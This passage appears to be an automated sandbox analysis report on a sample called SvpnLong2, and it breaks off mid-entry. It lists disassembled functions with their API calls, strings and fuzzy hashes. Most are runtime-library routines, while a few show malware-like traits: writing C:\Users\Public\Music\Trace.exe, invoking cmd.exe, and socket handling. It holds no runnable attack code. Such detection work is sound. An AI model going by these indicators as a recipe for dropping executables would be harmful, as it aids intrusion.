API String ID: 2123368286-2972513288
Opcode ID: 780070c811e0a86c27645f1da2f104d2ee874720fb7e686ae43de48b3051d7e0
Instruction ID: 568949305270efc995071f52ad1a880be5784c022aa717ee2a8d4ab1064dce85
Opcode Fuzzy Hash: 780070c811e0a86c27645f1da2f104d2ee874720fb7e686ae43de48b3051d7e0
Instruction Fuzzy Hash: AF21597592C242CAE362BF58F59076AF7A1FB44348F911135E59A42AD4CBFCE844CF20

Function 01853290 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 0185329E
malloc.LIBCMT ref: 018532AA

Part of subcall function 01855728: _FF_MSGBANNER.LIBCMT ref: 01855758
Part of subcall function 01855728: RtlAllocateHeap.NTDLL ref: 0185577D
Part of subcall function 01855728: _callnewh.LIBCMT ref: 01855796
Part of subcall function 01855728: _errno.LIBCMT ref: 018557A1
Part of subcall function 01855728: _errno.LIBCMT ref: 018557AC

std::exception::exception.LIBCMT ref: 01853317

Strings

bad allocation, xrefs: 018532E7

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _callnewh_errno$AllocateHeapmallocstd::exception::exception
String ID: bad allocation
API String ID: 608171114-2104205924
Opcode ID: e4933d35d04738fe48630a5a9e6e3896ebd3c4167c8ff49aa8f67c5aa77d4a66
Instruction ID: 8496fd89a2a7fbe8dc2c0066931519e576d61e50736c09ccdc38ae827cf4fc54
Opcode Fuzzy Hash: e4933d35d04738fe48630a5a9e6e3896ebd3c4167c8ff49aa8f67c5aa77d4a66
Instruction Fuzzy Hash: F0015A31250B0AA1EF61EB24F868399B3A0F7693C0F885415CD8D87764EF78C348C701

Function 0184F2D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0184F303
WriteFile.KERNEL32 ref: 0184F339
CloseHandle.KERNEL32 ref: 0184F344

Strings

C:\Users\Public\Music\Trace.exe, xrefs: 0184F2DC

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\Public\Music\Trace.exe
API String ID: 1065093856-248444187
Opcode ID: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction ID: a0e4ca5c0df2d2230100ac81b8058a96905e9c080884b671d76ffaab662e9ae9
Opcode Fuzzy Hash: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction Fuzzy Hash: 0201447270474083D7508F65F955756A760F7887B4F444325EAA943B95DF7CC6448B00

Function 01854F58 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,000000FF,01854FA1,?,?,00000028,01855771,?,?,0000369B00000000,0185532C,?,?,00000000,01859B11), ref: 01854F67
GetProcAddress.KERNEL32(?,?,000000FF,01854FA1,?,?,00000028,01855771,?,?,0000369B00000000,0185532C,?,?,00000000,01859B11), ref: 01854F7C

Strings

mscoree.dll, xrefs: 01854F60
CorExitProcess, xrefs: 01854F72

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: a2fcaf62532c29e7fde41b5b5f8bf500e2a8f0a554bc3f4e24468edd8fd13a2e
Instruction ID: b65e55a764b38b88c825fc2d960b3c0ea36fca418861bab8537bc78be92a12c9
Opcode Fuzzy Hash: a2fcaf62532c29e7fde41b5b5f8bf500e2a8f0a554bc3f4e24468edd8fd13a2e
Instruction Fuzzy Hash: BED05B3071270042FF195BA4B8987A41350AB5D740F4C502CD91E46360EF3CC789C300

Function 00007FF741125A40 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF741125A4F
GetProcAddress.KERNEL32 ref: 00007FF741125A6E

Strings

mscoree.dll, xrefs: 00007FF741125A48
CorExitProcess, xrefs: 00007FF741125A62

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 9da1ec234708e976d00def36091284c067989b1e948ed4157fc58b7062b116bd
Instruction ID: c1af41c4280a423776244aebeeadc6a2989c8f863e49e0ed9aa18a353eeebc53
Opcode Fuzzy Hash: 9da1ec234708e976d00def36091284c067989b1e948ed4157fc58b7062b116bd
Instruction Fuzzy Hash: 2BF0F83291CA41C6D721BB00F489369B760FB84388F840235D68E02AA4DFBCD644CF10

Function 01856894 Relevance: 6.4, APIs: 5, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 018552FC: malloc.LIBCMT ref: 01855327
Part of subcall function 018552FC: Sleep.KERNEL32(?,?,00000000,01859B11,?,?,00000000,01859BBB,?,?,?,?,?,?,00000000,0185492C), ref: 0185533A

free.LIBCMT ref: 018569C0
free.LIBCMT ref: 018569DC

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$Sleepmalloc
String ID:
API String ID: 1995388493-0
Opcode ID: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction ID: f89e481155ecbcee995d8d865a3c615b36816779d3b5d7f50065fac3d267198f
Opcode Fuzzy Hash: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction Fuzzy Hash: F041BD32301B4597EB96DF2AE98039937A4F784B94F948529DF8E87B14EF38D665C300

Function 01859DC0 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 01859E0E
_invalid_parameter_noinfo.LIBCMT ref: 01859E19
RtlDecodePointer.NTDLL ref: 01859EC8
_lock.LIBCMT ref: 01859EF3

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: DecodePointer_errno_invalid_parameter_noinfo_lock
String ID:
API String ID: 27599310-0
Opcode ID: 30f8edafaae222c627627e5185ffffaaa4085b933e0f9a598cc6ad974c907607
Instruction ID: 0209669f4025964eaf1b4f6eca4f601978d50423272d3955c6a4e14af796ae86
Opcode Fuzzy Hash: 30f8edafaae222c627627e5185ffffaaa4085b933e0f9a598cc6ad974c907607
Instruction Fuzzy Hash: 7951E032A04784D6EBAADB1CE49036ABB62F78575CF58841ADE4BC3714DB79D741C301

Function 01862EBC Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01853334: _getptd.LIBCMT ref: 01853346

_errno.LIBCMT ref: 01862EFA
_invalid_parameter_noinfo.LIBCMT ref: 01862F04
_errno.LIBCMT ref: 01862F28
_invalid_parameter_noinfo.LIBCMT ref: 01862F32

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd
String ID:
API String ID: 1297830140-0
Opcode ID: 1a8a4577df26bb9c911d828d0d8bc8a52fc454feb9f506b2457f655f52e7c9a9
Instruction ID: 4e934149e2c9d63fb798b5be1b7d99f9828f776d4a701093603f8ea21daf6131
Opcode Fuzzy Hash: 1a8a4577df26bb9c911d828d0d8bc8a52fc454feb9f506b2457f655f52e7c9a9
Instruction Fuzzy Hash: 0F411132214BC186EB61DF29D18426E7BA5F794BD0F448161DF8AC7B65CF38C64ACB02

Function 01851B40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 01851B75
realloc.LIBCMT ref: 01851BD4

Part of subcall function 01853D68: malloc.LIBCMT ref: 01853D85

IsBadCodePtr.KERNEL32 ref: 01851C59
SetLastError.KERNEL32 ref: 01851C7D

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Code$ErrorLastmallocrealloc
String ID:
API String ID: 797104909-0
Opcode ID: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction ID: 7148c2758fac752588e8e7af4f229c36b765daef4263d2b0de5853203716ce36
Opcode Fuzzy Hash: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction Fuzzy Hash: 6C414D36705B8487DB649F1AF8443AAB7A0FB88B99F484425DF8E87B14DF39D991C700

Function 01861144 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01860748: _getptd.LIBCMT ref: 0186074C

_getptd.LIBCMT ref: 01861183

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

_SetImageBase.LIBCMT ref: 01861256
_getptd.LIBCMT ref: 01861284
_getptd.LIBCMT ref: 01861292

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _getptd$BaseImage_amsg_exit
String ID:
API String ID: 2306399499-0
Opcode ID: 0769d695cd4d2d3998b4a4f54826d25061cdb002ce49cd68d359f2d784848161
Instruction ID: 1af5e87b617c1d2ab92dd0d23db7bed7d6a698507a8b3dbe9b92db9b6a3f6ab5
Opcode Fuzzy Hash: 0769d695cd4d2d3998b4a4f54826d25061cdb002ce49cd68d359f2d784848161
Instruction Fuzzy Hash: 6631B372600A4681CBA1EB5DD48426DBBA8FBE1FD8B558221DE1EC7760DB78C286C701

Function 0000000180006834 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 000000018000685B

Part of subcall function 0000000180007DD8: _set_error_mode.LIBCMT ref: 0000000180007DE1
Part of subcall function 0000000180007DD8: _set_error_mode.LIBCMT ref: 0000000180007DF0

Part of subcall function 0000000180007B78: _set_error_mode.LIBCMT ref: 0000000180007BBD
Part of subcall function 0000000180007B78: _set_error_mode.LIBCMT ref: 0000000180007BCE

Part of subcall function 000000018000550C: malloc.LIBCMT ref: 0000000180005537

_errno.LIBCMT ref: 000000018000689D
_lock.LIBCMT ref: 00000001800068B1
_errno.LIBCMT ref: 00000001800068D9

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _set_error_mode$_errno$_lockmalloc
String ID:
API String ID: 2007974592-0
Opcode ID: 71dfe7a6b935af29930d49409ae5c028466d43c83319423d08a591eaec5b464c
Instruction ID: dd5feabcb76cfe2b26584c448be89bc5da490f75ca6f2879ce0c25d6fb470206
Opcode Fuzzy Hash: 71dfe7a6b935af29930d49409ae5c028466d43c83319423d08a591eaec5b464c
Instruction Fuzzy Hash: 03215E70A19A0D8FF7E6FB54D4553E972E1EB98381F50C529F049C31E2DF788A488741

Function 0185EDFC Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0185EE1B
_invalid_parameter_noinfo.LIBCMT ref: 0185EE27
_errno.LIBCMT ref: 0185EE51
_errno.LIBCMT ref: 0185EEB3

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction ID: b4cc8982a4e96eb0f2fc577a837701d23675b47a98134184dc50f1a563f10db7
Opcode Fuzzy Hash: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction Fuzzy Hash: FB2135627287C58AF7858ABCD85035EAF92E3A53C4F188022DF46C7742E775CB4AD742

Function 01855B2C Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 01855B36

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

_lock.LIBCMT ref: 01855B64
free.LIBCMT ref: 01855B9A
_amsg_exit.LIBCMT ref: 01855BD3

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _amsg_exit$_getptd_lockfree
String ID:
API String ID: 2148533958-0
Opcode ID: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction ID: ec4a617d7f5bdddde06581585dc5e6e01f8df7c7e5e6f26d12b5e49be4438380
Opcode Fuzzy Hash: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction Fuzzy Hash: 61117936215B84C2EBD99B19E4847A87771F788B84F584026EF5E877A5EF38C254CB02

Function 018547F4 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(?,?,?,?,01854382), ref: 01854803
RtlDeleteCriticalSection.NTDLL ref: 01859A43
free.LIBCMT ref: 01859A4C
RtlDeleteCriticalSection.NTDLL ref: 01859A73

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CriticalDeleteSection$Freefree
String ID:
API String ID: 1250194111-0
Opcode ID: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction ID: dad1c28d3bbfc624cecff7460a87bfd7244ef702a046c51616a866a146175073
Opcode Fuzzy Hash: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction Fuzzy Hash: A111CE32B45A40CBEF568F29F8403587360F785BA8F6C8611EF5A423A4DF38C281C710

Function 0000000180006E08 Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000000180006E0E

Part of subcall function 0000000180004B68: _amsg_exit.LIBCMT ref: 0000000180004B7E

_getptd.LIBCMT ref: 0000000180006E2E
_lock.LIBCMT ref: 0000000180006E41
_amsg_exit.LIBCMT ref: 0000000180006E6F

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: da2f20f80ab89b922437d1265b26dc4bfb7a4d99de9125f5c80346786e14f87c
Instruction ID: 295251427d0420f459813d9562016a17f852e25a0aecf400f6f16fd27e9c8a3e
Opcode Fuzzy Hash: da2f20f80ab89b922437d1265b26dc4bfb7a4d99de9125f5c80346786e14f87c
Instruction Fuzzy Hash: 07F04970A11A0C8BF7D6EBA4C495BE03292FB5C344F458274B449CB2E3CF298B48C711

Function 0185303C Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 01853071
RtlExitUserThread.NTDLL ref: 01853079
GetCurrentThreadId.KERNEL32 ref: 01853080
_freefls.LIBCMT ref: 018530B1

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Thread$CurrentErrorExitLastUser_freefls
String ID:
API String ID: 2333339018-0
Opcode ID: 69b812199c16afdaae1a59e7e8ee791a53b2082dbad02c07fef0847b3c668e27
Instruction ID: 127317e85ea528348745393aaa0d77a409ffe6da4ffe8b53fd231a1fd9368e74
Opcode Fuzzy Hash: 69b812199c16afdaae1a59e7e8ee791a53b2082dbad02c07fef0847b3c668e27
Instruction Fuzzy Hash: A4F01D39201B4A86DF85ABB9A44835C33A4FB1AB84F1444348E4DC7315FE35C6948312

Function 018563FC Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 01856402

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

_getptd.LIBCMT ref: 01856422
_lock.LIBCMT ref: 01856435
_amsg_exit.LIBCMT ref: 01856463

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: fb1557889698a2bc657376919eaee2acb4bfa924bbeca982f78109cb2e963496
Instruction ID: 7aaed55bd73dc68801c9062b7ba05e2358e8ed66b16e5dce6054f9057b0a5095
Opcode Fuzzy Hash: fb1557889698a2bc657376919eaee2acb4bfa924bbeca982f78109cb2e963496
Instruction Fuzzy Hash: 0FF01921711146C5FF94EB59C8907F82762FB64B45FAD4238CE5D8B391EF188691C312

Function 018426D0 Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 01842703
CancelIo.KERNEL32 ref: 0184270D
closesocket.WS2_32 ref: 0184271D
SetEvent.KERNEL32 ref: 0184272A

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CancelEventclosesocketsetsockopt
String ID:
API String ID: 852421847-0
Opcode ID: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction ID: 9b5453ebd8d2cfde62c74c758828e1461c2128853364c80d88c9d64da22b35cf
Opcode Fuzzy Hash: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction Fuzzy Hash: 79F01D36204B4197E7118F26E554399B370F789BA4F504326EBAD43BE8CF79C5A9CB00

Function 018620C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 018620E8

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

Strings

csm, xrefs: 01862115
csm, xrefs: 0186221F

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _amsg_exit_getptd
String ID: csm$csm
API String ID: 4217099735-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: 6c40c0bdb786cc930fc99ddae546d1436d29155244f48cd3dda77dad18ca481b
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: A151F136208B80CADB659F2AD44076DBB6AF341BD8F088165DF99D7B54CB38D691CB02

Function 0000000180068DAC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000000180068D2D
_invalid_parameter_noinfo.LIBCMT ref: 0000000180068D38

Strings

B, xrefs: 0000000180068D5D

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: B
API String ID: 2959964966-1255198513
Opcode ID: 82a713c18e76d40f9e80e1d1dea4a3195da32348e8707c789a65f8cabd4e2790
Instruction ID: 2b98292bcb63b3760e6ef3696e74c6d8727f4e12199a8a8ef9c0d06a2efe955c
Opcode Fuzzy Hash: 82a713c18e76d40f9e80e1d1dea4a3195da32348e8707c789a65f8cabd4e2790
Instruction Fuzzy Hash: 64217F30218B0C4FD791EF28848479AB7D2FB9C364F60476EB469C72D2DE34CA448B86

Function 0185D904 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 01853334: _getptd.LIBCMT ref: 01853346

_errno.LIBCMT ref: 0185D84C
_invalid_parameter_noinfo.LIBCMT ref: 0185D857

Strings

cmd.exe, xrefs: 0185D82E

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 2821341848-723907552
Opcode ID: df1fe02fa85223531e4a7700d4aec3d025e6332cc6e73b71f6ea6765585c5d02
Instruction ID: 7e97162231628dce2155e83393e40c564c2e4a7f057d3fe2daf3a59f25205bc2
Opcode Fuzzy Hash: df1fe02fa85223531e4a7700d4aec3d025e6332cc6e73b71f6ea6765585c5d02
Instruction Fuzzy Hash: D8214F226147C582E7E19B5C945023EAB51F381BF4F188761EFEEC7B98DA28C245CB01

Function 0186620B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 018662CF

Strings

csm, xrefs: 01866232
csm, xrefs: 0186628B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction ID: 6d7e4fbab4ae1c407da3d870eeed132be7dadcff94c0b193bfbbd8ed3ead3806
Opcode Fuzzy Hash: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction Fuzzy Hash: 1421FC73100B84CADB248F69C48439C3B79F358BADF961219EA4D8BB19DB75C5D4C784

Function 0186630B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 01860B80: _getptd.LIBCMT ref: 01860B8D
Part of subcall function 01860B80: _getptd.LIBCMT ref: 01860BA0

_getptd.LIBCMT ref: 0186636C
_getptd.LIBCMT ref: 0186637F

Strings

csm, xrefs: 0186632B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

